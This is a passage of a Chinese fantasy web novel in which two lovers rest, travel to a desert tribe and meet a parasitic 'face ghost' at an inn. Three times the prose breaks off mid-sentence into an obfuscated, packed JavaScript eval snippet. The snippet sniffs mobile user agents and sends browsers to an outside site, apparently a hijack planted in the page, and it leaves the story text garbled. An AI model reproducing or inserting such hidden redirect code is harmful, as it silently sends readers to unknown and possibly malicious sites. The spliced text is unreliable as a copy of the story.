“不要想太多。” 睢羲见姜芜吻得认真,也起身去迎合着她,他伸手扣住姜芜的脖颈,将她压向自己。 姜芜合着双眸吻了片刻便失去了意识,整个人都昏睡了过去。 睢羲翻身压下姜芜,却发现她已经睡了过去,他垂眸盯着看了片刻,随后无奈化作了一阵叹息,他抬手帮姜芜盖好了被子便翻身躺在了一旁。 “睡吧,濯濯,好好地睡一觉,早日好起来。” 睢羲这一觉睡得十分憋闷,所以在一瞬间便惊醒了过来,他有些不解地看着跨坐在他身上的姜芜,“你身子还没好,先下来。” 姜芜抬手将自己的长发撩到身后,轻轻摇晃了起来,“昨晚不小心睡着了,反正我也睡饱了。” “下去,听话。” 姜芜并不理会睢羲的话,俯身捧住他的脸,左右亲了几下,双腿夹紧他的腰身,缓慢地动作着。 姜芜听着睢羲逐渐粗重的呼吸声,心里得到了极大的满足,开口问道:“舒服吗?” 睢羲拢着姜芜的腰,控制着她的速度,神情有些无奈,“哪里有你这么问的?” 姜芜蹙眉,缓缓地撑起了身,“不舒服啊?” 睢羲掌着姜芜的腰,斥道:“就这样吧,当心过会因为情绪激动而头晕,下次再这样,你便自己睡。” 姜芜撇了撇嘴,随口逗弄道:“你心不诚,那我下去喽。” 睢羲翻身压下姜芜,笑着咬了一下她的鼻尖,“好,你下来了。” 姜芜有些难受地缓了缓,随即往后退了几分,伸手按住睢羲的脸,“坏心思,哪有你这么做的?” “你舒服就行。” 姜芜觉得自己这几日轻松极了,每日都能睡很长的时间,随时都能够吃上热汤饭,但是无幻之境中不像人间那般白天黑夜分明,现下又处于长夜之中,所以她也分不清自己究竟睡了多久,只觉得神清气爽,之前的疲累一扫而光。 姜芜开始没日没夜地雕刻起那块檀香木,她刨去树皮,将木料一分为二,思忖了片刻将另一半放在了一旁。 睢羲每每收起天书,抬眸都能看到姜芜睡在一堆木屑之中,随后他便会去做饭烧水,然后再叫醒她。 “我恢复得差不多了,我们可以去人间查那个法阵的事情了。” 睢羲正看着姜芜手中雕刻出来的木雕,两个并肩靠在一起,手牵着手的小人,从面容上明显看得出雕刻得是他们二人。 姜芜正端着饭碗吃饭,见睢羲不语便抬眸去看他,“怎么了?我雕的不像吗?现下还没有涂松油,涂完便好看了。” 睢羲的神情震惊又动容,他点了点头,不确信地问道:“像,很像……这是你我二人吗?”说完,他便抬眸警惕地看向树屋外。 姜芜见状放下碗筷,好奇地问道:“是谁来了啊?” 睢羲按住姜芜的肩膀,“厍灯来了,让他进来吗?若是不想见他,我便让他走。” 姜芜看着面前没吃多少的饭菜,幽幽地叹了一息,“怎么总挑吃饭的时候来啊?” “我让他回去。”说完,睢羲便起身准备向外走去。 姜芜伸手拉住了睢羲,“没关系,让他进来吧。” 厍灯进门时姜芜正在啃一块话梅排骨,他抬眸看了睢羲一眼,随即默不作声地坐到了姜芜对面。 姜芜头也不抬地问道:“长生呢?” 厍灯正准备开口,却被睢羲的声音打断。 “长生是谁?” 姜芜夹了一块剥好的虾,虚托着递到了睢羲唇边,“长生啊,长生是厍灯的债。他不听话,非要同人族缠缠绵绵,又不肯用黑荆藤避子,便只能这般了。” 睢羲神色平淡地抬眸看了厍灯一眼,随即张嘴吃下了姜芜夹过来的虾。 厍灯一副有苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睢羲不解地看向姜芜,“这种事情为何还要留有余地?” 姜芜夹了一些鲈鱼放在了睢羲面前的食碟中,“你先别生气,我也只是想试试,万一成功了,你便不用那般辛苦了,你同百衢也不必每日为此事烦忧。” 睢羲语气不善,“那是我们的事情,你不必挂怀。” 姜芜闻言低头继续吃饭,将睢羲剥得虾全部吃了个干净。 睢羲静坐了片刻,见姜芜一直没有开口,心下难免有些发慌,便主动开口解释道:“我不是那个意思,我只是怕他们变本加厉,当初我们说好的,关于你的一些事情要保密,我只怕到时候护不住你。段怀野也并非是个靠得住的人,我不放心你。” 姜芜神情有些无奈,垂眸继续吃饭,“下次少做一些,我自己一个人吃不完,太浪费了,要不你也吃些?” 睢羲执起了筷子,吃掉了食碟里的鲈鱼肉,“一两个菜太单一了。” 姜芜面上划过一丝震惊,用筷子虚虚地指了指桌面上的饭菜,“所以地上跑的,天上飞的,河里里游的,土里长得全部都有?” 睢羲说:“知晓你吃不完,所以并非整只,你多吃一些,这样身体才能好得快。” 姜芜放下筷子摸了摸自己的腰身,随即拿起筷子继续吃饭,“你最近在破译天书是不是?为何不问我?” 睢羲给姜芜夹了一块排骨,“随便看看。” “随便看看还要做注记?”姜芜说,“天书中的内容并不重要,重要的是上面的神力,你要不要试着用它治疗你的伤口?” 睢羲看向姜芜,心中多了几分期冀,“要如何做?” 姜芜说:“就像吸纳戾气一般,将上面的神力吸纳到自己身上,用于修行。” 睢羲抬手将桌上的天书取来,打开白玉书筒,看着金色的文字从其中飞出,他一一扫过,随即偏头对姜芜说:“我感受不到其中的神力。” 姜芜宽慰道:“先吃饭,吃完饭再说,有的是办法呢。” “好。” 二人无言地吃完午饭,一同收拾了碗筷。 姜芜坐在桌前看着天书上的内容,这卷天书记载了创世神迹,其中有很多熟悉的名字,她抬手一一抚摸过,心中五味杂陈。 睢羲将擦手的帕子放置一旁,伸手握住了姜芜的手,“想那位大人了?” 姜芜抬手擦去眼角的湿意,缓了缓情绪说:“之前在青州去看过母亲的庙宇了,总觉得她还在看着我,但是我找不见她,或许我的所作所为让她失望吧,但是我并不悔。” 姜芜抬眸看向睢羲,用力回握住他的手,神情认真地说:“我不喜欢她为我选的路,我想自己选。” 睢羲一时无言,他神情动容地看着姜芜,随即俯身拥住她,“希望你永远不悔。” 姜芜伸手抚在睢羲的脸上,抵着他的额头,“睢羲,入我的识海,同我神交,以我为媒介吸纳神力,试试看能不能治愈你的伤口,还记得怎样入我识海吗?” “入识海会很难受。”说着,睢羲伸手把姜芜抱在了怀中,将自己的神识一点一点地入侵其中,放缓了速度和动作,让姜芜慢慢接受他。 姜芜摇了摇头,全身心地接纳睢羲,引着他入自己的识海,她没有关系的,只要是治好睢羲的事情,她都愿意去做。 94. 人面鬼 姜芜整个人如同从水中捞出来的一般,浑身湿漉漉的,她躺在睢羲的怀中平复着呼吸。 她觉得自己像是躺在一片静谧的海水中,海面上聚集了大量的乳状云,月光穿透缝隙零散地落在她的身上,海水不凉,温柔地将她包裹,侵占住她的每一寸肌肤。 睢羲看着自己手上隐隐浮现的力量,轻声问道:“怎么样?有没有很难受?” 姜芜摇了摇头,她没有一点不试的感觉,虽然整个人非常的疲累,但是精神却舒爽到了极致。 “不必这么担心,又不是第一次。”姜芜睁开双眸缓了缓神,“你呢?有没有觉得伤口处好一些?” 睢羲感受了一番自己的患处,他抱着姜芜起身,避而不谈,“我带你去沐浴。” 姜芜的神情有些失落,“还是不管用吗?” “管用,但不是那方面的用。”睢羲说,“我觉得心境比之前更平和了,力量也更强。” “你就只在乎力量?” 姜芜坐在汤池边,先是掬了一捧水洗了洗脸上的汗水,随后才抬手解起自己的衣裳。 睢羲说:“有收获便好,力量更强了,也能更好的保护你。至于这处伤口,随意吧。” 姜芜默不作声地下了水,天河之水中的灵气瞬间涌入了她的体内,舒缓着她的疲劳。 睢羲转身离开,片刻后端了一些瓜果点心放在了水池边缘。 “有不舒服的地方吗?先喝些茶水。” 姜芜正在打理着自己的长发,闻言看了睢羲一眼,抬手接过他递来的茶水一饮而尽,“我又不是没有入过你的识海,你当时有不舒服的地方吗?” “没有。”睢羲说,“但因为是识海,多少还是有些不适的,我怕你不舒服。” 姜芜将湿发拢到了身后,她转身靠到了岸边,抬眸看向睢羲,“不舒服怎么办?你打算要怎样补偿我?我记得你之前都会给我买好多好看的衣服鞋子以及珠宝首饰,但是这些东西,我现下已经有很多了。” 睢羲面色有些窘迫,“你还想要什么?我都可以找来。” 姜芜笑着将帕子递给了睢羲,“那帮我擦擦背好了,我够不到。” “好。” 姜芜把长发拢到身前,转身背对着睢羲,露出一片如羊脂玉一般光洁无暇的皮肤。 睢羲先是顺着姜芜的脊柱按压了片刻,随后才用帕子细致轻柔地擦起她的后背,“后背还有不舒服的地方吗?” “干嘛这么生疏,一副心里惴惴不安的样子。”姜芜转身,她抬手抱着睢羲的脖颈,“每次都要问我要什么,非要送我些东西吗?” 睢羲如实道:“毕竟你吃亏,我想补偿你,只能投其所好。” “吃亏,吃什么亏,你情我愿的事情,我要是怕吃亏,我就不这么做了。”姜芜张口咬了一下睢羲的脖颈,“不要总是患得患失的,你这样我看着也很累,我也很担心你。” 睢羲垂眸,伸手揽住姜芜将她扣进怀中,“即便是这样,你也不愿意帮我解开心结,聪慧如你,只有你不想做的事情。我便是如此卑劣,我要的不仅仅要你人在身侧。” 姜芜无奈地一笑,她拍了拍睢羲的肩背,开口哄道:“睢羲,那我们一起再去找找办法吧。” 睢羲会心一笑,“好。” 【无幻之境】 厍灯行走于沙丘之上,看着突然出现在面前的烛九阴,突然笑了一声,“山神大人这般像是人逢喜事精神爽啊,又来找我做何事?” 烛九阴走上前几步,暗红色的长袍随着他的动作,拖行于黄沙之上,“只是想再同你确定一番你打破无幻之境封印的事情。” 厍灯有些不耐烦地看向烛九阴,他伸手掏了一下耳朵,“不是同你们讲过吗?只需要你们那个什么妖王,散尽修为将封印撞破便是,多么简单的事情,为何非要追着我问来问去,你们不是有妖能预知未来吗?为何不让他看看?” 烛九阴神情凝重地说:“预知未来是件非常麻烦的事情,而且他所能看到的并非全部,玃如确实看到大荒结界被撞破,但是却不知晓是何人,苍旻是万妖之主,他决不能出任何的闪失,所以这种事情我们不得不小心谨慎。” 厍灯嗤笑一声,“妖王不是还有十个儿子嘛,他不愿意去死,那便让他的儿子去死呗,毕竟儿子可以再生嘛,而且他有那么多的老婆。君命难违,估计他的儿子们也不会拒绝的,毕竟这可是为了大荒啊。” 烛九阴长长地叹了一口气,“话虽这么说没错,但是......” 厍灯摆了摆手打断了烛九阴的话,“不要那么多的话,人族有句话叫做成大事者不拘小节,你们自己考虑去吧。”说完,他便向前跃过了烛九阴。 烛九阴沉默地捻着手中的一条金饰,随即立刻转身扬声道:“既然你这么说了,想必也听说过人族有句话叫做知恩图报吧,我们将你从十方楼内救出来,还将你的亲生儿子带给你,你确定要如此态度吗?” “毕竟不是所有人都懂得知恩图报的,这种东西有舍有得,你们想打破结界,得到灵气,就要做出牺牲,那么是牺牲妖王,亦或者是妖王的十个儿子,而且要做好失败的可能,我这身戾气也只是将无幻之境的结界打破一条裂缝,这种事情你们还是自己要考虑好舍得,我如何帮你们取舍?”厍灯冷笑一声,“不过,你们若是不想打破结界,估计也不会来十方楼找我吧,我觉得自己已经够仁至义尽了,况且我还告诉了你们如何用人面鬼控制羽族,你们总不能是想坐收渔翁之利,让我们主战派去帮你们破结界吧,这样的话不懂得知恩图报的便是你们了。” 烛九阴想起囚牛等人,神情无奈地合上了双眸,他觉得胸口似乎是穿了个窟窿,无幻之境的风沙正肆无忌惮地涌进他的体内,沙砾与血肉搅磨在一处,干燥灼热又生疼。 想当初他们三人承载着大荒的希望出来寻找出路,根据玃如看到的未来画面中在十方楼找到了被关押的修罗厍灯,得到了一丝拯救妖族的可能,却是一个难以取舍的问题。 妖王苍旻不能死,但是烛九阴也看不得自己从小看到大的孩子去死,但是为了大荒妖族,现下却又不得不舍弃他们。 “山神大人,你回来了。” 狌狌提着灯兴致冲冲地迎了上去,随即有些忧愁地看着烛九阴,“大人,怎么了?您心情不好?” 烛九阴回过神才发觉自己已经从无幻之境内走了出来,此时正行于并州城的长街上,四周细雨蒙蒙,水烟四起,空气寒凉,他看着面前的狌狌,伸手摸了摸她的发顶,温声道:“玃如呢?怎么没同你一起?” 狌狌化出一把油纸伞遮过烛九阴,笑着说:“我是自己偷偷出来的,没跟玃如说。大人方才是去找厍灯了吗?还顺利吗?” 烛九阴神情疲惫地摇了摇头,“并不是很顺利,没有什么突破,还是那个问题。” 狌狌担忧地看了一眼烛九阴,也跟着叹了一息,“若是寂满能争气一些便好了,这样的话一切问题都迎刃而解了,大人和玃如也不必如此忧愁了。” 烛九阴笑着摇了摇头,“天命如此,不怪阿满,他也有自己的一生,自己的路需要走,而且他的命也是命。” 狌狌抬眸看着烛九阴,“山神大人,我们该怎么办啊?寂满没法化龙,那封印该怎么办啊?” “走一步看一步吧,这种事情还是需要尊上定夺。” 【并州提拉那拉草原】 提拉那拉草原上有着一望无际的绿色,这里天地之间恍若要连为一体,交接处是雪顶镀金的万山百川,风过留下翻滚的碧波草浪,露出如同天上云彩般的牛羊,以及潺潺水流上的涟漪。 姜芜坐在马背上看着手中的羊皮地图,身侧跟着同样骑马的睢羲,她收起地图往一旁看去,“你确定你此番出无幻之境没问题吗?” 睢羲抬手整理了一番姜芜头上的风帽,“我确定,而且我从你那里也获取了不少的神力,没有任何问题。” 姜芜瞄了一眼身后不远不近缀着的季易和沛然,“他们呢?该不是百衢派来保护你的吧,生怕我又带你去刀山火海?” 睢羲想起那日同百衢的谈话,安抚道:“商队一事过于蹊跷,百衢有事走不开,所以他们两个是代表百衢,与我们一同调查。你若是不愿,我便让他们回去。” “不必了,让他们跟着便是。”姜芜说,“省得百衢总觉得我心怀不轨,要谋害你。分明自己筹谋得一塌糊涂,居然还敢不相信别人,你受伤的事情,我都没找他麻烦。” 睢羲神情有些无奈,他欲言又止地看着姜芜,心里多少有些为难,他想讲那次是个意外,但是事实就摆在姜芜面前,他多说无益。 姜芜看了一眼睢羲的神情,出声解释道:“我只是就事论事,但是百衢确实对我有敌意。我知晓你同百衢交情深厚,甚至比我还要早上很多年,所以我不会同他正面起冲突,免得你为难,放心吧。” 睢羲摇了摇头,“不必这么委曲求全,反正我说的何事只要是有关于你,百衢都不会听。” 姜芜笑了一声,随即甩了一下缰绳,“走了,争取天黑之前赶到格力特部落,出了草原大抵是沙漠,我们要找绿洲城邦。” 季易看着两人策马离开,也同沛然加快了速度,忍不住抱怨道:“他们两个怎么总有说不完的话,磨磨唧唧的,烦死人了。” 沛然说:“或许在商讨对策,毕竟这次的事情很蹊跷,搞不好是我们不曾接触过的东西。” 季易耸了耸肩,不以为然地说:“无非就是法阵、法器一类,毁了便是,我还不曾见过除了这两样之外能让人瞬间移动的东西,如果真的有,那这次也算是长见识了。” 沛然叮嘱道:“你收敛一些,不要惹濯漪不高兴,否则睢羲大人不会放过我们的。” 季易神情不耐地说:“知晓了知晓了,烦死了,人族说的对,唯女子与小人难养也!” 沛然摇了摇头,“这里的女人并非指得是女人,而是内心阴险狡诈之人,这句话并非表面意思,你不要意会错了。” 季易闻言翻了个白眼,“好好好,就你懂得多。那我们就事论事好了,你说濯漪是不是很难搞?又无用又娇气。” 沛然思忖了片刻才开口,“不能这么说,最重要的是她救了百衢大人。” 季易神情一噎,妥协道:“好吧好吧,看在她救了百衢的份儿上,但是无幻之境的修罗不都应该效忠于百衢吗?她救百衢不是应该的吗?” 沛然神情淡然地看了季易一眼,“你觉得她真的只是个修罗吗?再者,濯漪救百衢大人不止是因为百衢大人是修罗王,她甚至没有将其看作是修罗王,只是因为睢羲大人而已。” 季易无言。 四人前后在格力特部落落脚,胡杨林簇拥着黄土和稻草垒成的城池墙壁,各种颜色鲜艳的编织毯做挡风布,挂于门窗或者披在身上,用于阻挡黄风。 道路两侧摆放着各种各样的兽皮,风干牛羊肉以及黄土烧制的陶罐。 此时正值中午最热之时,部落中的人脱下了编织布,换上了最轻薄凉爽的衣裳,暴露在外的蜜色皮肤健壮又结实。 “这塔塔沙漠最开始时由一名骁勇善战的女子,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713653|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是我们的塔塔女王所统一,但是一阵黑风划过,沙漠中出现了一种叫做人面鬼的东西,这种东西啊……十分的怪异,看不见也摸不着……但是会出其不意地附到人的后颈上……” 姜芜停下了脚步,专心致志地在一旁听着人面鬼的故事。 “怎么?” 姜芜拉着睢羲的手,将他扯到身侧,兴致冲冲地说:“听一下嘛,感觉会很有趣。” “起初是没有任何感觉的,但那是什么东西,人面鬼啊,它会附着在人的后颈处,悄无声息的,缓慢地汲取人体内的血液,在体内扎根,掏空五脏六腑,并且附带着一种让人不会疼的毒,就这样穿上了人的皮,行走于城邦人群之中,等它完全占据那具身体之时,便会在后颈处出现一张人脸,那便是鬼面人寄生的记号,如果有一天你会突然觉得身边之人性情大变……那么……很有可能是被鬼面人寄生了……久而久之一个人便会拥有两个脸,除了自己的脸,还有一张属于人面鬼的脸……” 睢羲闻言看了姜芜一眼,随即伸手按在了她的后颈上。 姜芜缩了一下脖颈,抬眸看向睢羲,抱怨道:“干嘛啊,你吓我一跳。” “所以大家见到一直背对着你的人,怎样唤也不回头时,千万不要好奇上前,因为它有可能被人面鬼附身,而且正在透过头发看着你呢。” 睢羲捏了捏姜芜的后颈,笑着说:“看看你是不是被人面鬼附身了,要不为何性情大变。” “胡说!”姜芜推开了睢羲的手,“我后颈上有没有东西,你比谁都清楚,反正我自己看不见。” “......据说......这人面鬼还会模仿人的声音......刚开始长于人的后颈,久而久之会到后脑勺上,到那时便为时已晚,人面鬼与人融为一体,不说隐藏于头发之中便更看不清……说不定脑子都已经被吸食干净了……” 睢羲脸上的笑意更浓,他环着姜芜的肩膀将她圈至身旁,轻声说:“没有的,没有。” 姜芜说:“有可便麻烦了呀,内里已经不是我了,居然还长着我的样子,现下还在你身侧,必定是对你有所图谋,你要小心呢。” 睢羲看着那个正在讲塔塔女王如何战胜人面鬼的老者,若有所思地说:“人面鬼寄生只是天性使然吗?那究竟是妖还是鬼?还是精灵一类?” 姜芜问道:“我没见过,你见过吗?” 睢羲摇了摇头,在姜芜身上多加了一层护体结界,人面鬼不过是人间传闻,因为过于得神秘可怖,所以总受人族忌惮,对于他们来说不过尔尔,但是姜芜现下不同,若是不多加防范,很容易受到人面鬼的侵扰。 睢羲心中难免有些担忧,握在姜芜肩上的手多加了几分力,“濯濯,别离我太远,有事便同我一起,好不好?” 姜芜随意应了一声,兴致勃勃地听着老者讲故事。 季易莫名其妙打了个冷战,他搓了搓发紧的手臂,不解地问道:“他们是怎样做到方才吵架,接着便能和好的?翻脸比翻书还快。到底还去不去了,怎么又听上故事了?” 沛然应了一声,“忍着吧,濯漪做事必定有她的道理,我们只需要跟着他们便可。” “沙尘暴来了,大家快回屋了。” 赤脚小孩拿着一只铜锣,一边奔走于大街小巷,一边大声喊着,一会的功夫整条街便只剩了几个收拾东西的人。 “沙尘暴?” 姜芜提议道:“先找个客栈落脚吧。” 季易闻言迅速上前,质问道:“为何要浪费时间,人族的沙尘暴而已,比起无幻之境的风沙,简直大巫见小巫,对我们又没有威胁。” 姜芜说:“那你知晓现下该往哪里去吗?总不能像无头苍蝇一般乱转吧,总要打听一些事情,确定我的一些猜想,而且行走于人间不要那般招摇。” 季易蹙眉,“什么猜想?” 姜芜如实道:“我怀疑商队突然进入到无幻之境,同并州的那三只大妖有关系。” “四位客官,想必是刚到我们部落吧,马上便来沙尘暴了,先来我这里避避吧,否则不好赶路,我这里有刚烤出来的全羊,还有酥油茶、牛奶,可以暖暖身子。”客栈老板娘扬声道,“马匹我也可以给你们照看好的,你们便放心来住吧。” 老板娘生得貌美,即便是头上戴了一朵新鲜的红牡丹,也并不会觉得俗气,反而让人觉得牡丹都失色几分。 姜芜眸光一亮,抬眸看向睢羲,“去尝尝?” 季易不满地说:“喂喂喂,你到底是想去打听消息,还是吃烤全羊啊?” 沛然想起那日吃的一些饭菜,突然有些回味,于是便对季易说:“不耽误。” 姜芜把马匹交给店小二,撩开帘子进入了客栈内,闷热的气息扑面而来,一楼中央的架了篝火堆,上面正烤着冒油的全羊,随即姜芜便看到了角落里神情怪异的舒星几人,她眉毛一挑,并没有打算同他们相认。 客栈内一片昏暗,每张桌上都燃着照明用的蜡烛,客人零零散散几乎坐满了桌子,挡风的布帘全部放下扎紧,气息杂乱,环境有些闷热。 姜芜抬手虚空扇了几下。 老板娘引着他们坐到了靠窗的位置,并在桌上点了蜡烛,笑得妖媚,“客官别介意,沙尘暴要来,各处都要挡得严严实实的,否则会吹得到处都是土,别介意啊别介意。” 睢羲问道:“要吃什么?” 季易蹙眉,神情警惕地看着舒星几人,“那几人不是我们送出去的商人吗?他们怎么又来这边了?” 姜芜对老板娘说:“先来一只烤羊腿。” 95. 愧 老板娘闻言顿时喜笑颜开,很快便把姜芜要的羊腿端了上来,并送了一些馕饼。 “客官,我们这里的酥油茶有甜口的咸口的,还有青稞糊糊,羊杂汤,这种乍暖还寒的时候,撒点胡椒,喝一碗再舒服不过了,再撒点香菜和葱花,香迷糊了。” 姜芜颔首,“好,来四碗。” 季易听着老板娘的话,忍不住吞了吞口水,不知晓她口中的话是真是假,毕竟人族买卖经常会造势夸大来促成交易。 “你买这么多吃得完吗?” 睢羲动手切起了羊腿,他将所有的肉削成小片摆放整齐,完整地剔出了一条羊腿骨,他切得羊肉非常的美观,大小一致,厚度适中,撒了一些椒盐在上面。 老板娘端来羊杂汤时,看着那根羊腿骨不动声色地挑了一下眉毛,她将汤碗放在四人面前,“客官好手艺,四位吃好喝好,有事喊我。” 季易低头闻了闻碗中的羊杂汤,一脸嫌弃地说:“这是什么味道?好怪。” 姜芜熟练地往睢羲和自己碗中加着辣椒油和醋汁,“那是羊肉的膻味,不影响的,你可以喝喝看,佐料也是可以适当放一些的。” 沛然率先用勺子尝了一口,随即对季易说:“很好喝。” 季易瞬间瞪大了双眸,他很难想象这种难闻的气味居然能同好喝联系在一起,既然沛然这么说了,他也决定要尝一尝。 季易率先夹起一块不知道是哪个部位的肉尝了尝滋味,并不是那么好吃,甚至没有那日睢羲炖得排骨,于是他捧起碗喝了一口浓稠奶白的羊汤,他这才确信老板娘说的一点都没错。 姜芜看着两人狼吞虎咽的模样,随即笑着对睢羲说:“睢羲,百衢虐待他们了?” 季易反驳道:“胡说,百衢大人是全天下最好的,怎么会虐待我们。” “吃吧,吃饱一些。”说完,姜芜夹了些肉片卷在馕饼之中,然后递给了睢羲。 “自己吃。” “我再卷一个。” 太阳落山之后,沙尘暴更大了些,老板娘吩咐店小二用桌椅板凳将大门抵住,外面风声呼啸,时不时吹动门窗,听起来格外的骇人,像是夜袭于沙漠之上的铁甲军,兵刃铮鸣。 姜芜靠着睢羲打瞌睡,客栈内的人见风沙不停,一时半刻也难以行路,纷纷花钱让老板娘找了睡觉的地方。 季易看着姜芜问道:“我们到底要在此处待到何时?你不要耽误正事。” “不要总是把事情看得那么重,适当休息一番也无事吧,只是一晚而已不会耽误太多事情的。”姜芜垂眸把玩着睢羲的手指,“我倒是有些事情想问你们,你们知晓人面鬼这种东西吗?” 季易问道:“那是什么东西?一掌便能解决的东西。” 沛然说:“之前多少了解过,但是从未见过,据说这种东西很难解决,就出现在塔塔沙漠之中,若是遇上了,我们要小心行事。” 姜芜抬眸看向睢羲,调侃道:“今日这番我倒是想起在荆州之时,他们被鬼族人会附身一事十分得敬畏,要吓死了呢。” 睢羲说:“鬼族人并没有那般可怖,如果是他们想附身修罗,会被修罗身上的血液所腐蚀,留下难以愈合的创口。” 老板娘神色匆匆地走过来,急忙打断了四人的谈话,“四位客官啊,我们这儿不兴在晚上谈论人面鬼的,尤其是在这种风声像兵刃交接声的夜晚。” 姜芜问道:“为何?” “相传这是人面鬼出现之时的异状,而且开年后这场沙尘暴来得反常,往往都是开春之后才会有,没想到这么早,而且去年冬日塔塔沙漠都未曾下雨,我奉劝几位今夜早些休息,祈祷明日一早是个大晴天,赶紧赶路吧。”说完,老板娘便甩着手中的帕子,急匆匆地离开了。 季易不以为然地说:“有那么可怕吗?一个个地吓得跟鹌鹑一样,那人面鬼有本事便上老子的身,老子这一身血不腐蚀它个干净。” 姜芜起身抻了个懒腰,“你们两个要在这里待一夜,还是去楼上房间睡床?” 季易神情烦躁地摆了摆手,催促着姜芜赶紧离开。 姜芜结了晚饭钱,又让老板娘开了间房,她取了钥匙同睢羲往楼上走去。 老板娘出声叮嘱道:“二位今晚在房内水,若是没什么需要便不要出门了,也不要开窗户,如厕便在房间里便可,床底都有尿壶。店里不会去敲你们的房门的,所以听到异响不要查看哦。若是出现了异常,本店本小利薄,概不负责哦。” 姜芜闻言转身看向老板娘,只见面容姣好的女人立于柜台之后,樱唇柳眉,神情笑眯眯的,说不出的怪异。 睢羲察觉到姜芜的身体有一瞬间的僵硬,便将她揽在怀中。 姜芜抬眸看了睢羲一眼,随即轻轻地一笑,不知晓她方才在害怕什么,只是听着老板娘的叮嘱,下意识地便觉得汗毛倒立。 睢羲推开房门,抬手安抚般地揉了揉姜芜的头发,挥手将房间内的蜡烛点燃,让房间内昏暗的角角落落都是明亮可见,“越是人迹罕至的地方,人族因为对不可知的恐惧,所以总会捏造出一些匪夷所思的故事用来恐吓后人,但是总有勇士不畏恐惧,解开那层神秘的面纱,有些事物的恐惧来源于自身。” 姜芜伸手指着自己,板着脸问道:“我看起来很害怕人面鬼这种东西吗?” 睢羲笑着刮了一下姜芜的鼻梁,随后去抖床上的被褥。 姜芜关好房门,本想开窗散一散房间里的尘气,又想起外面的狂风,于是脚下步伐一转,上前扑到了睢羲的后背上,“让我看看你有没有被人面鬼找上门!” 睢羲先是把姜芜托稳,随后将她甩到了床榻上,神情迷茫地问道:“你是谁?” 姜芜伸手摸到睢羲光洁的后颈,神情惊恐地配合道:“好可怕,你居然被人面鬼附身了,我该怎样救你?” 睢羲取下姜芜的手,低头吻了吻她的双唇,“我不需要你救。” 姜芜顺着睢羲的袖口摸到了他肩膀的位置,留下了一个小小的记号,若是睢羲的身体出现异样,而他又强撑着不说的话,那处记号会告诉她实话。 “不要我救,那谁来还我一个睢羲?我可是要原来的那个睢羲,而不需要内里是人面鬼的睢羲。” “不需要谁还你一个睢羲,我会一直在你身侧。”睢羲说,“困了便休息吧,这里环境差一些,你将就一下。” 睢羲说完便起身脱下了姜芜的鞋子,又将她从斗篷和外袍中剥出来,覆盖到她的身上做被褥。 姜芜抬手将斗篷拉起,遮住了自己的口鼻,只留一双眼睛看着睢羲,“你不同我一起吗?说实话,那个人面鬼的故事还是很吓人的,一张长在后颈上的脸......” “我将灯熄了。” 睢羲熄灭了所有的蜡烛,随后躺在了姜芜身侧。 姜芜转身埋进了睢羲的怀中,闷声道:“那我睡了,若是你想睡的话......” 睢羲抬手拍着姜芜的后背,“我不睡,我守着你,我知晓这个房间不对劲。” 姜芜意识模糊地应了一声,便陷入了沉睡之中,现下她入睡根本不需要幻梦水编织出的梦境,因为她的梦中人便在身侧,能护她安睡一整夜,守她一眠好梦。 随着夜深,客栈内逐渐安静了下来,外面的风也逐渐趋于平缓,昭示着明日是一个晴朗的天气。 睢羲拥着姜芜,一直听着她平稳的呼吸声,并没有去理会窗棂外富有规律地敲击声。 哒哒,哒哒,哒哒。 睢羲抬手压在了姜芜的侧脸,以免那些冗杂的声音扰她好梦。 “大人,您睡了吗?” 沛然的身影通过一楼的火光映在窗纸上。 睢羲回身往房门的位置看了一眼,随后抬手在姜芜的眉心注入一道戾气,为她安神,他起身坐在床榻边缘,开口问道:“何事?” “百衢大人送来了一封信,我和季易已经看过了,觉得有必要让您也看一下。” 睢羲问道:“急吗?” “急与不急,还是请您看过再下定论吧。” “好。”睢羲的双眸紧紧地盯着窗纸上的剪映,“你把信传给我吧?” “这……”沛然的声音中带了一丝的迟疑,“我要如何把信传给您?我就在门口,您还是过来拿吧,百衢大人说这封信内容很重要,阅后即焚。” 睢羲闻言轻笑了一声,没再同门外的沛然说话。 姜芜被一席冷意拂醒,她不动声色地合着双眸,在衣袖的遮掩下握住了无心乱的手柄。睢羲不在她身侧,她并没有感受到睢羲的气息。 这个时间,他不应该出去才是,只怕是遇到了紧急的事情。 外面的风声已经停了,四下一片寂静,唯有时不时想起的水滴声。 姜芜缓缓地睁开了双眸,月华铺满,房间一片清亮,她自然也看到了站在床榻不远处的老板娘。 老板娘披头散发地背对着床榻,唯有那支红牡丹还别在耳畔。 姜芜按了按眉心,撑着身体半坐起来,先发制人,“这么晚,不知道有何事?我应该没有事情喊过你。” 老板娘依旧不言不语,只是反手指了指床榻。 姜芜这才发觉床榻边缘有一湾水,这张床是一张带脚踏的架子床,除去铺盖着被褥的窗体外,还向外延伸了一部分,滴水的地方就在脚踏之上。 姜芜手持无心乱飞身而出,她拉开同两者的距离,落身于门口之处,她借着月光抬眸看向床榻的位置,这才发觉上面不知何时爬满了密密麻麻的肉块,它们蠕动着,落下不明的液体。 老板娘缓缓地转身,依旧背对着姜芜。 “这便是人面鬼吗?” 老板娘反手撩起自己的长发,露出隐藏于发丝之后,生于后脑勺上的一张呆滞无神的脸。 姜芜看着老板娘一步一步地倒退而来,面色一凛,正准备甩鞭抽向老板娘,却觉得四肢无比的沉重,她垂眸一看,那些死去的人正七窍流血地缠着她,都是她熟悉的面孔。 鲤鱼精小灰抱着姜芜持着无心乱的手,商扶庭抱着她的腰,袁星月趴在她的背上,还有常胜、常晓芙、步寒夜、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 